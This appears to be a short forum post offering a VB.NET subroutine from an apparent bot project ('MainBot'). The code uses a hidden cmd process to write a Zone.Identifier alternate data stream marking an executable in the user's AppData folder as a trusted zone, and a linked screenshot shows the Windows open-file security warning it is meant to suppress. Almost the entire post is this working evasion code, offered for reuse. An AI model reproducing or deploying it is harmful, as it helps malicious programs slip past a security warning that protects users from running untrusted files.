This is just simple code.
Credits: f3rr3t
Example:
[img]http://www.tomstricks.com/wp-content/uploads/2009/02/open-file-security-warning-pcv.png[/img]
Credits: f3rr3t
Code
Public Sub ZoneID()
Dim command As String = "echo [zoneTransfer]ZoneID = 2 > " & My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\Microsoft\" & MainBot.exename & ":ZONE.identifier"
MsgBox(command)
If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\Microsoft\" & MainBot.exename) Then
StartInfo.FileName = "cmd"
StartInfo.RedirectStandardInput = True
StartInfo.RedirectStandardOutput = True
StartInfo.UseShellExecute = False
myprocess.StartInfo = StartInfo
myprocess.Start()
Dim SR As System.IO.StreamReader = myprocess.StandardOutput
Dim SW As System.IO.StreamWriter = myprocess.StandardInput
SW.WriteLine(command)
SW.WriteLine("exit")
MainBot.ListBox1.Items.Add(SR.ReadToEnd)
SW.Close()
SR.Close()
End If
End SubExample:
[img]http://www.tomstricks.com/wp-content/uploads/2009/02/open-file-security-warning-pcv.png[/img]


